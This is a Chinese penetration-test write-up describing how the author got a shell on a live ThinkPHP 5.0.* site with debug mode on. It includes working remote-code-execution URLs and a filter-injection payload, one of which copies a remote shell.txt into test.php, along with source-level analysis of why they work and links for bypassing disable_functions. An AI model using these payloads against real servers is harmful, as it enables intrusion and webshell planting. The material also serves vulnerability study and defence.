0x01 前言
项目里遇到一个站,用的是ThinkPHP V5.0.*框架,且开启了debug模式,本以为一发payload的就能解决的事情,没想到拿下的过程还得小绕一下
0x02 踩坑
尝试命令执行,system被限制了

尝试包含日志文件,open_basedir限制了

这里有个思路,可以去包含runtime下的日志文件,但是thinkphp的日志文件比较大,而且有时候会有很多奇怪的问题阻断代码执行,暂且作为备选方案

尝试通过thinkphp本身Library中设置Session的方法把脚本写入tmp目录里的Session文件,然后进行包含
1
| _method=__construct&filter[]=think\Session::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>
|
但是。。。

0x03 GetShell
跟其他师傅们讨论后,得出了解决的办法
解决方法及分析:

Request.php的filtervalue函数下存在call_user_func,根据Payload,跟踪下流程
首先会进入App.php的Run方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static function run(Request $request = null) { ……………………………… if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config); }
$request->dispatch($dispatch);
if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); }
……………………………… }
|
这里我们主要关注routeCheck和param两个函数,先看routeCheck
1 2 3 4 5 6 7 8
| public static function routeCheck($request, array $config) { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false; ……………………………… $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
|
主要是将请求参数什么的传入,经过check后就基本上都处理好了

在调试模式开启的情况下可以进入param函数
1 2 3 4 5 6 7
| if (empty($this->param)) { $method = $this->method(true); ...... $this->param = array_merge($this->get(false), $vars, $this->route(false)); } return $this->input($this->param, $name, $default, $filter);
|
跟进input函数
1 2 3 4 5 6 7 8 9 10 11
| public function input($data = [], $name = '', $default = null, $filter = '') {
...... $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); }
|
getFilter取出filter的值,在这里也就是assert
array_walk_recursive
array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。该函数与 array_walk() 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。
及对$data的每一个元素应用filterValue函数,跟进filterValue
1 2 3 4 5 6 7 8
| function filterValue(&$value, $key, $filters){ ...... if (is_callable($filter)) { $value = call_user_func($filter, $value); } ...... }
|
铳梦师傅的解决方法及分析:
payload参考:
来自:https://xz.aliyun.com/t/3570#toc-4
1
| http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
|
执行phpinfo(这里注意看 ?s= 后的参数)
1
| https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
|
拿shell
1
| https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://127.0.0.1/shell.txt','test.php')
|
为什么要这么构造呢,给出当前的目录情况以及分析:

Route.php的parseUrl函数会对url进行处理
1 2 3 4 5 6 7
| private static function parseUrl($url, $depr = '/', $autoSearch = false) { ....... $url = str_replace($depr, '|', $url); list($path, $var) = self::parseUrlPath($url); ...... }
|
首先将url中的/
替换为|
之后是parseUrlPath将url分割
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| private static function parseUrlPath($url) { $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { ...... ...... } elseif (strpos($url, '/')) { $path = explode('/', $url); } else { ...... } return [$path, $var]; }
|
得到如下三部分

模块加载时Loder.php下的parseName函数
1 2 3 4 5 6 7 8 9 10 11
| public static function parseName($name, $type = 0, $ucfirst = true) { if ($type) { $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) { return strtoupper($match[1]); }, $name); return $ucfirst ? ucfirst($name) : lcfirst($name); } else { return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_")); } }
|

现在就会实例化\Think\app类并执行invokefunction方法

所以加../\
的原因是可以再往前跳一层
0x04 bypass disable_functions
查看禁用

一开始没仔细看禁用的内容,直接就用了这个
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
但是发现putenv被禁用了

换个方法,通过这篇文章
https://mochazz.github.io/2018/09/27/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B9%8B%E7%BB%95%E8%BF%87PHP%E7%9A%84disable_functions/
了解到利用pcntl扩展,确认系统支持

最终成功执行命令
